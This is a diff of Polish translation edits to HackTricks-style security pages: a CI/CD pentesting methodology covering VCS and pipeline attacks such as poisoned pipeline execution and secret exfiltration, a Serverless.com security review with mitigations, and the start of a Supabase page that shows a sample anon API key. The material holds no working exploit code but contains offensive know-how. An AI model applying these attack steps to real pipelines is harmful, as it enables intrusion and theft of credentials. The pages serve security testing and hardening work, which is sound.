+**Zaufane źródła** przyznają dostęp do witryn, które kontrolujesz i ufasz, aby uzyskać dostęp do Twojej organizacji Okta przez API Okta.
 
-Nie powinno być zbyt wielu tokenów API, ponieważ jeśli ich jest dużo, atakujący mógłby spróbować uzyskać do nich dostęp i je wykorzystać.
+Nie powinno być dużo tokenów API, ponieważ jeśli ich jest dużo, atakujący mógłby spróbować uzyskać do nich dostęp i je wykorzystać.
 
 ## Workflow
 
diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
index 98629fef8..b0252088b 100644
--- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
+++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
@@ -1,4 +1,4 @@
-# Pentesting CI/CD Methodology
+# Metodologia Pentestingu CI/CD
 
 {{#include ../banners/hacktricks-training.md}}
 
@@ -6,21 +6,21 @@
 
 ## VCS
 
-VCS oznacza **System Kontroli Wersji**, ten system pozwala deweloperom na **zarządzanie swoim kodem źródłowym**. Najczęściej używanym jest **git** i zazwyczaj znajdziesz firmy korzystające z niego na jednej z następujących **platform**:
+VCS oznacza **System Kontroli Wersji**, ten system pozwala deweloperom na **zarządzanie swoim kodem źródłowym**. Najczęściej używanym jest **git** i zazwyczaj można znaleźć firmy korzystające z niego na jednej z następujących **platform**:
 
 - Github
 - Gitlab
 - Bitbucket
 - Gitea
-- Dostawcy chmury (oferują własne platformy VCS)
+- Dostawcy chmurowi (oferują swoje własne platformy VCS)
 
-## CI/CD Pipelines
+## Pipelines CI/CD
 
 Pipelines CI/CD umożliwiają deweloperom **automatyzację wykonywania kodu** w różnych celach, w tym budowania, testowania i wdrażania aplikacji. Te zautomatyzowane przepływy pracy są **wyzwalane przez konkretne akcje**, takie jak push kodu, pull requesty lub zaplanowane zadania. Są przydatne do usprawnienia procesu od rozwoju do produkcji.
 
-Jednak te systemy muszą być **wykonywane gdzieś** i zazwyczaj z **uprzywilejowanymi poświadczeniami do wdrażania kodu lub uzyskiwania dostępu do wrażliwych informacji**.
+Jednak te systemy muszą być **wykonywane gdzieś** i zazwyczaj z **uprawnieniami uprzywilejowanymi do wdrażania kodu lub dostępu do wrażliwych informacji**.
 
-## VCS Pentesting Methodology
+## Metodologia Pentestingu VCS
 
 > [!NOTE]
 > Nawet jeśli niektóre platformy VCS pozwalają na tworzenie pipelines, w tej sekcji będziemy analizować tylko potencjalne ataki na kontrolę kodu źródłowego.
@@ -30,20 +30,20 @@ Platformy, które zawierają kod źródłowy twojego projektu, zawierają wrażl
 - **Wycieki**: Jeśli twój kod zawiera wycieki w commitach i atakujący ma dostęp do repozytorium (ponieważ jest publiczne lub ma dostęp), może odkryć te wycieki.
 - **Dostęp**: Jeśli atakujący może **uzyskać dostęp do konta w platformie VCS**, może zyskać **więcej widoczności i uprawnień**.
 - **Rejestracja**: Niektóre platformy pozwalają tylko zewnętrznym użytkownikom na tworzenie konta.
-- **SSO**: Niektóre platformy nie pozwalają użytkownikom na rejestrację, ale pozwalają każdemu na dostęp z ważnym SSO (więc atakujący mógłby użyć swojego konta github, aby wejść na przykład).
-- **Poświadczenia**: Nazwa użytkownika + hasło, tokeny osobiste, klucze ssh, tokeny Oauth, ciasteczka... istnieje kilka rodzajów tokenów, które użytkownik mógłby ukraść, aby uzyskać dostęp do repozytorium w jakiś sposób.
+- **SSO**: Niektóre platformy nie pozwalają użytkownikom na rejestrację, ale pozwalają każdemu na dostęp z ważnym SSO (więc atakujący mógłby użyć swojego konta github, aby się zalogować na przykład).
+- **Poświadczenia**: Nazwa użytkownika + hasło, tokeny osobiste, klucze ssh, tokeny Oauth, ciasteczka... istnieje wiele rodzajów tokenów, które użytkownik mógłby ukraść, aby uzyskać dostęp do repozytorium.
 - **Webhooks**: Platformy VCS pozwalają na generowanie webhooków. Jeśli nie są **chronione** niewidocznymi sekretami, **atakujący może je wykorzystać**.
 - Jeśli nie ma sekretu, atakujący może wykorzystać webhook z platformy trzeciej.
 - Jeśli sekret jest w URL, dzieje się to samo i atakujący również ma sekret.
-- **Kompromentacja kodu:** Jeśli złośliwy aktor ma jakiś rodzaj **dostępu do zapisu** w repozytoriach, może spróbować **wstrzyknąć złośliwy kod**. Aby odnieść sukces, może potrzebować **obejść zabezpieczenia gałęzi**. Te działania mogą być wykonywane z różnymi celami na myśli:
+- **Kompromentacja kodu:** Jeśli złośliwy aktor ma jakiegoś rodzaju **dostęp do zapisu** w repozytoriach, może próbować **wstrzyknąć złośliwy kod**. Aby odnieść sukces, może potrzebować **obejść zabezpieczenia gałęzi**. Te działania mogą być wykonywane z różnymi celami na myśli:
 - Kompromitacja głównej gałęzi w celu **kompromitacji produkcji**.
 - Kompromitacja głównej (lub innych gałęzi) w celu **kompromitacji maszyn deweloperów** (ponieważ zazwyczaj wykonują testy, terraform lub inne rzeczy w repozytorium na swoich maszynach).
-- **Kompromitacja pipeline** (sprawdź następną sekcję)
+- **Kompromitacja pipeline** (sprawdź następną sekcję).
 
-## Pipelines Pentesting Methodology
+## Metodologia Pentestingu Pipelines
 
 Najczęstszym sposobem definiowania pipeline jest użycie **pliku konfiguracyjnego CI hostowanego w repozytorium**, które pipeline buduje. Ten plik opisuje kolejność wykonywanych zadań, warunki wpływające na przepływ i ustawienia środowiska budowania.\
-Te pliki zazwyczaj mają spójną nazwę i format, na przykład — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) oraz pliki YAML GitHub Actions znajdujące się w .github/workflows. Po wyzwoleniu, zadanie pipeline **pobiera kod** z wybranego źródła (np. commit / gałąź) i **wykonuje polecenia określone w pliku konfiguracyjnym CI** na tym kodzie.
+Te pliki zazwyczaj mają spójną nazwę i format, na przykład — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) oraz pliki YAML GitHub Actions znajdujące się w .github/workflows. Po wyzwoleniu, zadanie pipeline **pobiera kod** z wybranego źródła (np. commit / gałąź) i **uruchamia polecenia określone w pliku konfiguracyjnym CI** na tym kodzie.
 
 Dlatego ostatecznym celem atakującego jest w jakiś sposób **kompromitacja tych plików konfiguracyjnych** lub **poleceń, które wykonują**.
 
@@ -67,37 +67,37 @@ Istnieją 3 smaki PPE:
 
 ### Korzyści z Eksploatacji
 
-Znając 3 smaki, aby zatruć pipeline, sprawdźmy, co atakujący mógłby uzyskać po udanej eksploatacji:
+Znając 3 smaki zatruwania pipeline, sprawdźmy, co atakujący mógłby uzyskać po udanej eksploatacji:
 
 - **Sekrety**: Jak wspomniano wcześniej, pipeline wymagają **uprawnień** do swoich zadań (pobieranie kodu, budowanie go, wdrażanie...) i te uprawnienia są zazwyczaj **przyznawane w sekretach**. Te sekrety są zazwyczaj dostępne za pośrednictwem **zmiennych env lub plików w systemie**. Dlatego atakujący zawsze będzie próbował wyeksfiltrować jak najwięcej sekretów.
 - W zależności od platformy pipeline atakujący **może potrzebować określić sekrety w konfiguracji**. Oznacza to, że jeśli atakujący nie może zmodyfikować pliku konfiguracyjnego CI (**I-PPE** na przykład), może **tylko wyeksfiltrować sekrety, które ma ten pipeline**.
-- **Obliczenia**: Kod jest wykonywany gdzieś, w zależności od tego, gdzie jest wykonywany, atakujący może być w stanie dalej pivotować.
+- **Obliczenia**: Kod jest wykonywany gdzieś, w zależności od tego, gdzie jest wykonywany, atakujący może być w stanie dalej się przemieszczać.
 - **Na miejscu**: Jeśli pipeline są wykonywane na miejscu, atakujący może skończyć w **wewnętrznej sieci z dostępem do większej ilości zasobów**.
-- **Chmura**: Atakujący mógłby uzyskać dostęp do **innych maszyn w chmurze**, ale także mógłby **wyeksfiltrować** tokeny ról IAM/kont usługowych **z niej**, aby uzyskać **dalszy dostęp w chmurze**.
+- **Chmura**: Atakujący mógłby uzyskać dostęp do **innych maszyn w chmurze**, ale także mógłby **wyeksfiltrować** tokeny **ról IAM/kont serwisowych** z niej, aby uzyskać **dalszy dostęp w chmurze**.
 - **Maszyna platformy**: Czasami zadania będą wykonywane wewnątrz **maszyn platformy pipeline**, które zazwyczaj znajdują się w chmurze z **brakiem dalszego dostępu**.
-- **Wybierz to:** Czasami **platforma pipeline będzie miała skonfigurowane kilka maszyn** i jeśli możesz **zmodyfikować plik konfiguracyjny CI**, możesz **wskazać, gdzie chcesz uruchomić złośliwy kod**. W tej sytuacji atakujący prawdopodobnie uruchomi powrotny shell na każdej możliwej maszynie, aby spróbować dalej ją wykorzystać.
-- **Kompromitacja produkcji**: Jeśli jesteś wewnątrz pipeline i ostateczna wersja jest budowana i wdrażana z niego, możesz **kompromitować kod, który ma być uruchamiany w produkcji**.
+- **Wybierz to:** Czasami **platforma pipeline będzie miała skonfigurowane kilka maszyn** i jeśli możesz **zmodyfikować plik konfiguracyjny CI**, możesz **wskazać, gdzie chcesz uruchomić złośliwy kod**. W tej sytuacji atakujący prawdopodobnie uruchomi powrotną powłokę na każdej możliwej maszynie, aby spróbować ją dalej wykorzystać.
+- **Kompromitacja produkcji**: Jeśli jesteś wewnątrz pipeline i końcowa wersja jest budowana i wdrażana z niego, możesz **kompromitować kod, który ma być uruchamiany w produkcji**.
 
-## More relevant info
+## Więcej istotnych informacji
 
-### Tools & CIS Benchmark
+### Narzędzia i Benchmarki CIS
 
-- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) to narzędzie open-source do audytowania twojego stosu łańcucha dostaw oprogramowania pod kątem zgodności z bezpieczeństwem, oparte na nowym [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Audyt koncentruje się na całym procesie SDLC, gdzie może ujawnić ryzyka od czasu kodowania do czasu wdrożenia.
+- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) to narzędzie open-source do audytowania twojego stosu łańcucha dostaw oprogramowania pod kątem zgodności z bezpieczeństwem, oparte na nowym [**benchmarku CIS Software Supply Chain**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Audyt koncentruje się na całym procesie SDLC, gdzie może ujawnić ryzyka od czasu kodowania do czasu wdrożenia.
 
-### Top 10 CI/CD Security Risk
+### Top 10 ryzyk bezpieczeństwa CI/CD
 
-Sprawdź ten interesujący artykuł o 10 największych ryzykach CI/CD według Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
+Sprawdź ten interesujący artykuł na temat 10 największych ryzyk CI/CD według Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
 
-### Labs
+### Laboratoria
 
-- Na każdej platformie, którą możesz uruchomić lokalnie, znajdziesz, jak uruchomić ją lokalnie, aby móc ją skonfigurować według własnych potrzeb do testowania.
+- Na każdej platformie, którą możesz uruchomić lokalnie, znajdziesz, jak ją uruchomić lokalnie, aby skonfigurować ją według własnych potrzeb do testowania.
 - Laboratorium Gitea + Jenkins: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
 
-### Automatic Tools
+### Narzędzia automatyczne
 
 - [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** to narzędzie do analizy statycznej kodu dla infrastruktury jako kodu.
 
-## References
+## Referencje
 
 - [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422)
 
diff --git a/src/pentesting-ci-cd/serverless.com-security.md b/src/pentesting-ci-cd/serverless.com-security.md
index c5bbf382d..e5ea8b046 100644
--- a/src/pentesting-ci-cd/serverless.com-security.md
+++ b/src/pentesting-ci-cd/serverless.com-security.md
@@ -68,7 +68,7 @@ rate: rate(10 minutes)
 
 <details>
 
-<summary>Resource</summary>
+<summary>Zasób</summary>
 
 **Zasoby** pozwalają na zdefiniowanie dodatkowych zasobów chmurowych, od których zależy Twoja usługa, takich jak bazy danych, kosze pamięci lub role IAM.
 
@@ -96,9 +96,9 @@ WriteCapacityUnits: 1
 
 <summary>Dostawca</summary>
 
-Obiekt **Dostawca** określa dostawcę usług chmurowych (np. AWS, Azure, Google Cloud) i zawiera ustawienia konfiguracyjne istotne dla tego dostawcy.
+Obiekt **Dostawca** określa dostawcę usług chmurowych (np. AWS, Azure, Google Cloud) i zawiera ustawienia konfiguracyjne związane z tym dostawcą.
 
-Zawiera szczegóły takie jak środowisko uruchomieniowe, region, etap i dane uwierzytelniające.
+Zawiera szczegóły takie jak czas wykonania, region, etap i dane uwierzytelniające.
 ```yaml
 yamlCopy codeprovider:
 name: aws
@@ -128,7 +128,7 @@ region: us-west-2
 
 <summary>Wtyczki</summary>
 
-**Wtyczki** rozszerzają funkcjonalność Frameworka Serverless, dodając nowe funkcje lub integrując się z innymi narzędziami i usługami. Są definiowane w sekcji `plugins` i instalowane za pomocą npm.
+**Wtyczki** rozszerzają funkcjonalność Serverless Framework, dodając nowe funkcje lub integrując się z innymi narzędziami i usługami. Są definiowane w sekcji `plugins` i instalowane za pomocą npm.
 ```yaml
 plugins:
 - serverless-offline
@@ -157,7 +157,7 @@ layers:
 
 <summary>Zmienne i Zmienne Niestandardowe</summary>
 
-**Zmienne** umożliwiają dynamiczną konfigurację, pozwalając na użycie miejsc zastępczych, które są rozwiązywane w czasie wdrażania.
+**Zmienne** umożliwiają dynamiczną konfigurację, pozwalając na użycie miejscowników, które są rozwiązywane w czasie wdrażania.
 
 - **Składnia:** składnia `${variable}` może odnosić się do zmiennych środowiskowych, zawartości plików lub innych parametrów konfiguracyjnych.
 
@@ -169,7 +169,7 @@ environment:
 TABLE_NAME: ${self:custom.tableName}
 ```
 
-* **Zmienne Niestandardowe:** sekcja `custom` jest używana do definiowania zmiennych i konfiguracji specyficznych dla użytkownika, które mogą być ponownie używane w całym pliku `serverless.yml`.
+* **Zmienne Niestandardowe:** Sekcja `custom` jest używana do definiowania zmiennych i konfiguracji specyficznych dla użytkownika, które mogą być ponownie używane w całym pliku `serverless.yml`.
 
 ```yaml
 custom:
@@ -204,7 +204,7 @@ Fn::Join:
 
 <summary>Role i uprawnienia IAM</summary>
 
-**Role i uprawnienia IAM** definiują dane uwierzytelniające bezpieczeństwa i prawa dostępu do Twoich funkcji i innych zasobów. Są zarządzane w ramach ustawień `provider` lub indywidualnych funkcji, aby określić niezbędne uprawnienia.
+**Role i uprawnienia IAM** definiują dane uwierzytelniające bezpieczeństwa i prawa dostępu do Twoich funkcji i innych zasobów. Są zarządzane w ramach ustawień `provider` lub indywidualnych ustawień funkcji, aby określić niezbędne uprawnienia.
 ```yaml
 provider:
 [...]
@@ -254,7 +254,7 @@ plugins:
 
 <summary>Hooks</summary>
 
-**Hooks** pozwalają na uruchamianie niestandardowych skryptów lub poleceń w określonych punktach cyklu życia wdrożenia. Są definiowane za pomocą wtyczek lub w pliku `serverless.yml`, aby wykonywać działania przed lub po wdrożeniach.
+**Hooks** pozwalają na uruchamianie niestandardowych skryptów lub poleceń w określonych punktach cyklu życia wdrożenia. Są definiowane za pomocą wtyczek lub w pliku `serverless.yml`, aby wykonywać akcje przed lub po wdrożeniach.
 ```yaml
 custom:
 hooks:
@@ -325,7 +325,7 @@ method: get
 
 4. Utwórz dostawcę AWS, przechodząc do **dashboardu** w `https://app.serverless.com/<org name>/settings/providers?providerId=new&provider=aws`.
 1. Aby dać `serverless.com` dostęp do AWS, poprosi o uruchomienie stosu cloudformation przy użyciu tego pliku konfiguracyjnego (w momencie pisania tego tekstu): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml)
-2. Ten szablon generuje rolę o nazwie **`SFRole-<ID>`** z **`arn:aws:iam::aws:policy/AdministratorAccess`** dla konta z tożsamością zaufania, która pozwala na dostęp konta `Serverless.com` do tej roli.
+2. Ten szablon generuje rolę o nazwie **`SFRole-<ID>`** z **`arn:aws:iam::aws:policy/AdministratorAccess`** dla konta z tożsamością zaufania, która pozwala na dostęp do roli konta `Serverless.com` AWS.
 
 <details>
 
@@ -377,7 +377,7 @@ Type: String
 
 <details>
 
-<summary>Relacja Zaufania</summary>
+<summary>Relacja zaufania</summary>
 ```json
 {
 "Version": "2012-10-17",
@@ -399,7 +399,7 @@ Type: String
 ```
 </details>
 
-5. Tutorial prosi o utworzenie pliku `createCustomer.js`, który zasadniczo utworzy nowy punkt końcowy API obsługiwany przez nowy plik JS i prosi o modyfikację pliku `serverless.yml`, aby wygenerować **nową tabelę DynamoDB**, zdefiniować **zmienną środowiskową**, rolę, która będzie używać wygenerowanych lambd.
+5. Samouczek prosi o utworzenie pliku `createCustomer.js`, który zasadniczo utworzy nowy punkt końcowy API obsługiwany przez nowy plik JS i prosi o modyfikację pliku `serverless.yml`, aby utworzyć **nową tabelę DynamoDB**, zdefiniować **zmienną środowiskową**, rolę, która będzie używać wygenerowanych lambd.
 
 {{#tabs }}
 {{#tab name="createCustomer.js" }}
@@ -483,17 +483,17 @@ TableName: ${self:service}-customerTable-${sls:stage}
 
 6. Wdróż to, uruchamiając **`serverless deploy`**
 1. Wdrożenie zostanie przeprowadzone za pomocą CloudFormation Stack
-2. Zauważ, że **lambdy są wystawione za pomocą API gateway** i nie za pomocą bezpośrednich URL-i
+2. Zauważ, że **lambdy są udostępniane za pośrednictwem API gateway** a nie za pomocą bezpośrednich URL-i
 7. **Przetestuj to**
 1. Poprzedni krok wydrukuje **URL-e**, gdzie Twoje funkcje lambda punktów końcowych API zostały wdrożone
 
 ## Przegląd bezpieczeństwa Serverless.com
 
-### **Źle skonfigurowane role IAM i uprawnienia**
+### **Źle skonfigurowane role i uprawnienia IAM**
 
 Zbyt szerokie role IAM mogą przyznać nieautoryzowany dostęp do zasobów chmurowych, prowadząc do naruszeń danych lub manipulacji zasobami.
 
-Gdy nie określono uprawnień dla funkcji Lambda, zostanie utworzona rola z uprawnieniami tylko do generowania logów, jak:
+Gdy nie określono uprawnień dla funkcji Lambda, zostanie utworzona rola z uprawnieniami tylko do generowania logów, jak: 
 
 <details>
 
@@ -527,7 +527,7 @@ Gdy nie określono uprawnień dla funkcji Lambda, zostanie utworzona rola z upra
 
 #### **Strategie łagodzenia**
 
-- **Zasada najmniejszych uprawnień:** Przydzielaj tylko niezbędne uprawnienia do każdej funkcji.
+- **Zasada najmniejszych uprawnień:** Przydzielaj tylko niezbędne uprawnienia każdej funkcji.
 
 ```yaml
 provider:
@@ -553,7 +553,7 @@ Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-
 
 Przechowywanie wrażliwych informacji (np. kluczy API, poświadczeń bazy danych) bezpośrednio w **`serverless.yml`** lub kodzie może prowadzić do ujawnienia, jeśli repozytoria zostaną skompromitowane.
 
-**Zalecanym** sposobem przechowywania zmiennych środowiskowych w pliku **`serverless.yml`** z serverless.com (w momencie pisania tego tekstu) jest użycie dostawców `ssm` lub `s3`, co pozwala na pobranie **wartości środowiskowych z tych źródeł w czasie wdrażania** i **konfigurowanie** zmiennych środowiskowych **lambd** z **czystym tekstem wartości**!
+Zalecanym sposobem przechowywania zmiennych środowiskowych w pliku **`serverless.yml`** z serverless.com (w momencie pisania tego tekstu) jest użycie dostawców `ssm` lub `s3`, co pozwala na pobranie **wartości środowiskowych z tych źródeł w czasie wdrażania** i **konfigurowanie** zmiennych środowiskowych **lambd** z **czystym tekstem wartości**!
 
 > [!OSTRZEŻENIE]
 > Dlatego każdy, kto ma uprawnienia do odczytu konfiguracji lambd w AWS, będzie mógł **uzyskać dostęp do wszystkich tych zmiennych środowiskowych w czystym tekście!**
@@ -564,16 +564,16 @@ provider:
 environment:
 DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true}
 ```
-And even if this prevents hardcoding the environment variable value in the **`serverless.yml`** file, the value will be obtained at deployment time and will be **added in clear text inside the lambda environment variable**.
+I nawet jeśli to zapobiega twardemu kodowaniu wartości zmiennej środowiskowej w pliku **`serverless.yml`**, wartość zostanie uzyskana w czasie wdrażania i będzie **dodana w postaci czystego tekstu wewnątrz zmiennej środowiskowej lambda**.
 
 > [!TIP]
-> The recommended way to store environment variables using serveless.com would be to **store it in a AWS secret** and just store the secret name in the environment variable and the **lambda code should gather it**.
+> Zalecanym sposobem przechowywania zmiennych środowiskowych przy użyciu serveless.com byłoby **przechowywanie ich w tajemnicy AWS** i po prostu przechowywanie nazwy tajemnicy w zmiennej środowiskowej, a **kod lambda powinien ją zebrać**.
 
 #### **Strategie łagodzenia**
 
-- **Integracja z Menedżerem Sekretów:** Użyj usług takich jak **AWS Secrets Manager.**
+- **Integracja z Menedżerem Tajemnic:** Użyj usług takich jak **AWS Secrets Manager.**
 - **Szyfrowane Zmienne:** Wykorzystaj funkcje szyfrowania Frameworka Serverless dla wrażliwych danych.
-- **Kontrola Dostępu:** Ogranicz dostęp do sekretów na podstawie ról.
+- **Kontrola Dostępu:** Ogranicz dostęp do tajemnic w oparciu o role.
 
 ---
 
@@ -635,7 +635,7 @@ method: get
 authorizer: aws_iam
 ```
 
-- **Ograniczenie Ruchu i Throttling:** Zapobiegaj nadużyciom, ograniczając tempo żądań.
+- **Ograniczenie Ruchu i Throttling:** Zapobiegaj nadużyciom, ograniczając szybkość żądań.
 
 ```yaml
 provider:
@@ -673,7 +673,7 @@ Wspólne zasoby i niewystarczająca izolacja mogą prowadzić do eskalacji upraw
 
 - **Izoluj Funkcje:** Przypisz odrębne zasoby i role IAM, aby zapewnić niezależne działanie.
 - **Podział Zasobów:** Użyj oddzielnych baz danych lub koszyków do przechowywania dla różnych funkcji.
-- **Użyj VPC:** Wdrażaj funkcje w Wirtualnych Prywatnych Chmurach dla lepszej izolacji sieci.
+- **Użyj VPC:** Wdrażaj funkcje w Wirtualnych Chmurach Prywatnych dla lepszej izolacji sieci.
 
 ```yaml
 provider:
@@ -707,7 +707,7 @@ SSEEnabled: true
 ```
 
 - **Szyfruj Dane w Tranzycie:** Użyj HTTPS/TLS dla wszystkich transmisji danych.
-- **Zabezpiecz Komunikację API:** Wymuś protokoły szyfrowania i waliduj certyfikaty.
+- **Zabezpiecz Komunikację API:** Wymuszaj protokoły szyfrowania i weryfikuj certyfikaty.
 - **Zarządzaj Kluczami Szyfrującymi Bezpiecznie:** Użyj zarządzanych usług kluczy i regularnie rotuj klucze.
 
 ---
@@ -742,12 +742,12 @@ body: JSON.stringify({ message: 'Internal Server Error' }),
 
 ### **Niezabezpieczone Praktyki Wdrażania**
 
-Ujawniłe konfiguracje wdrożeniowe lub nieautoryzowany dostęp do pipeline'ów CI/CD mogą prowadzić do złośliwych wdrożeń kodu lub błędnych konfiguracji.
+Ujawione konfiguracje wdrożeniowe lub nieautoryzowany dostęp do pipeline'ów CI/CD mogą prowadzić do złośliwych wdrożeń kodu lub błędnych konfiguracji.
 
 #### **Strategie łagodzenia**
 
 - **Zabezpiecz Pipeline'y CI/CD:** Wprowadź ścisłe kontrole dostępu, uwierzytelnianie wieloskładnikowe (MFA) i regularne audyty.
-- **Bezpieczne Przechowywanie Konfiguracji:** Utrzymuj pliki wdrożeniowe wolne od zakodowanych sekretów i wrażliwych danych.
+- **Przechowuj Konfigurację Bezpiecznie:** Utrzymuj pliki wdrożeniowe wolne od twardo zakodowanych tajemnic i wrażliwych danych.
 - **Użyj Narzędzi Bezpieczeństwa Infrastruktury jako Kodu (IaC):** Wykorzystaj narzędzia takie jak **Checkov** lub **Terraform Sentinel** do egzekwowania polityk bezpieczeństwa.
 - **Niezmienność Wdrożeń:** Zapobiegaj nieautoryzowanym zmianom po wdrożeniu, przyjmując praktyki niezmiennej infrastruktury.
 
@@ -755,7 +755,7 @@ Ujawniłe konfiguracje wdrożeniowe lub nieautoryzowany dostęp do pipeline'ów
 
 ### **Luki w Wtyczkach i Rozszerzeniach**
 
-Używanie nieweryfikowanych lub złośliwych wtyczek stron trzecich może wprowadzać luki do aplikacji serverless.
+Używanie nieweryfikowanych lub złośliwych wtyczek stron trzecich może wprowadzać luki w aplikacjach serverless.
 
 #### **Strategie łagodzenia**
 
@@ -773,8 +773,8 @@ Funkcje dostępne publicznie lub nieograniczone API mogą być wykorzystywane do
 #### **Strategie łagodzenia**
 
 - **Ogranicz Dostęp do Funkcji:** Użyj VPC, grup zabezpieczeń i reguł zapory, aby ograniczyć dostęp do zaufanych źródeł.
-- **Wprowadź Solidne Uwierzytelnianie:** Upewnij się, że wszystkie ujawnione punkty końcowe wymagają odpowiedniego uwierzytelniania i autoryzacji.
-- **Bezpiecznie Używaj Bramek API:** Skonfiguruj bramki API, aby egzekwować polityki bezpieczeństwa, w tym walidację danych wejściowych i ograniczenie tempa.
+- **Wprowadź Solidne Uwierzytelnianie:** Upewnij się, że wszystkie ujawnione punkty końcowe wymagają odpowiedniego uwierzytelnienia i autoryzacji.
+- **Bezpiecznie Używaj Bramek API:** Skonfiguruj bramki API, aby egzekwować polityki bezpieczeństwa, w tym walidację danych wejściowych i ograniczenie szybkości.
 - **Wyłącz Nieużywane Punkty Końcowe:** Regularnie przeglądaj i wyłączaj wszelkie punkty końcowe, które nie są już używane.
 
 ---
@@ -785,13 +785,13 @@ Przyznawanie nadmiernych uprawnień członkom zespołu i zewnętrznym współpra
 
 #### **Strategie łagodzenia**
 
-- **Zasada Najmniejszych Uprawnień:** Upewnij się, że członkowie zespołu i współpracownicy mają tylko te uprawnienia, które są niezbędne do wykonywania ich zadań.
+- **Zasada Najmniejszych Uprawnień:** Upewnij się, że członkowie zespołu i współpracownicy mają tylko te uprawnienia, które są niezbędne do wykonywania swoich zadań.
 
 ---
 
 ### **Bezpieczeństwo Kluczy Dostępu i Kluczy Licencyjnych**
 
-**Klucze Dostępu** i **Klucze Licencyjne** to kluczowe poświadczenia używane do uwierzytelniania i autoryzacji interakcji z interfejsem CLI Frameworka Serverless.
+**Klucze Dostępu** i **Klucze Licencyjne** to krytyczne poświadczenia używane do uwierzytelniania i autoryzacji interakcji z interfejsem CLI Frameworka Serverless.
 
 - **Klucze Licencyjne:** To unikalne identyfikatory wymagane do uwierzytelnienia dostępu do Frameworka Serverless Wersja 4, które umożliwiają logowanie przez CLI.
 - **Klucze Dostępu:** Poświadczenia, które pozwalają interfejsowi CLI Frameworka Serverless uwierzytelnić się z Dashboardem Frameworka Serverless. Podczas logowania za pomocą `serverless` cli klucz dostępu zostanie **wygenerowany i zapisany na laptopie**. Możesz również ustawić go jako zmienną środowiskową o nazwie `SERVERLESS_ACCESS_KEY`.
@@ -799,7 +799,7 @@ Przyznawanie nadmiernych uprawnień członkom zespołu i zewnętrznym współpra
 #### **Ryzyka Bezpieczeństwa**
 
 1. **Ujawnienie przez Repozytoria Kodów:**
-- Zakodowanie lub przypadkowe zatwierdzenie Kluczy Dostępu i Kluczy Licencyjnych do systemów kontroli wersji może prowadzić do nieautoryzowanego dostępu.
+- Twarde kodowanie lub przypadkowe zatwierdzenie Kluczy Dostępu i Kluczy Licencyjnych do systemów kontroli wersji może prowadzić do nieautoryzowanego dostępu.
 2. **Niezabezpieczone Przechowywanie:**
 - Przechowywanie kluczy w postaci tekstu jawnego w zmiennych środowiskowych lub plikach konfiguracyjnych bez odpowiedniego szyfrowania zwiększa prawdopodobieństwo wycieku.
 3. **Niewłaściwa Dystrybucja:**
diff --git a/src/pentesting-ci-cd/supabase-security.md b/src/pentesting-ci-cd/supabase-security.md
index c2d719945..6cd46e961 100644
--- a/src/pentesting-ci-cd/supabase-security.md
+++ b/src/pentesting-ci-cd/supabase-security.md
@@ -2,15 +2,15 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-## Basic Information
+## Podstawowe informacje
 
 Zgodnie z ich [**stroną główną**](https://supabase.com/): Supabase to otwartoźródłowa alternatywa dla Firebase. Rozpocznij swój projekt z bazą danych Postgres, uwierzytelnianiem, natychmiastowymi API, funkcjami Edge, subskrypcjami w czasie rzeczywistym, przechowywaniem i osadzeniami wektorowymi.
 
-### Subdomain
+### Subdomena
 
 Zasadniczo, gdy projekt jest tworzony, użytkownik otrzymuje subdomenę supabase.co, taką jak: **`jnanozjdybtpqgcwhdiz.supabase.co`**
 
-## **Database configuration**
+## **Konfiguracja bazy danych**
 
 > [!TIP]
 > **Te dane można uzyskać z linku takiego jak `https://supabase.com/dashboard/project/<project-id>/settings/database`**
@@ -28,22 +28,22 @@ Ta sekcja zawiera również opcje do:
 - Skonfigurowania rozmiaru dysku
 - Zastosowania ograniczeń i zakazów sieciowych
 
-## API Configuration
+## Konfiguracja API
 
 > [!TIP]
 > **Te dane można uzyskać z linku takiego jak `https://supabase.com/dashboard/project/<project-id>/settings/api`**
 
 URL do uzyskania dostępu do API supabase w Twoim projekcie będzie wyglądał jak: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
 
-### anon api keys
+### anon klucze API
 
-Wygeneruje również **anon API key** (`role: "anon"`), taki jak: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk`, który aplikacja będzie musiała użyć, aby skontaktować się z kluczem API ujawnionym w naszym przykładzie w
